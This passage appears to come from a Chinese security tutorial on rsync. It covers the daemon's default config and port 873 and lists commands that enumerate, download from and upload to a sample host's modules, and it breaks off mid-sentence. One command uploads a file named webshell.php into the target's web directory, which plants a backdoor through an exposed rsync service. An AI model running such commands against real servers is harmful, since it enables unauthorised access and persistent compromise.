关于rsync
rsync(remote synchronize)——Linux下实现远程同步功能的软件,能同步更新两处计算机的文件及目录。在同步文件时,可以保持源文件的权限、时间、软硬链接等附加信息。常被用于在内网进行源代码的分发及同步更新,因此使用人群多为开发人员;而开发人员安全意识薄弱、安全技能欠缺往往是导致rsync出现相关漏洞的根源。
rsync默认配置文件为/etc/rsyncd.conf,常驻模式启动命令rsync –daemon,启动成功后默认监听于TCP端口873,可通过rsync-daemon及ssh两种方式进行认证。
常用操作
列举整个同步目录或指定目录:
rsync 10.0.0.12::
rsync 10.0.0.12::www/
下载文件或目录到本地:
rsync -avz 10.0.0.12::www/test.php /root
rsync -avz 10.0.0.12::www/ /var/tmp
上传本地文件到服务端:
rsync -avz webshell.php 10.0.0.12::www/
端口修改
在其配置文件中不存在监听端口修改相关选项,但可在启动命令行通过参数–port进行指定
因此通过进程查看方式,可以直接获得其真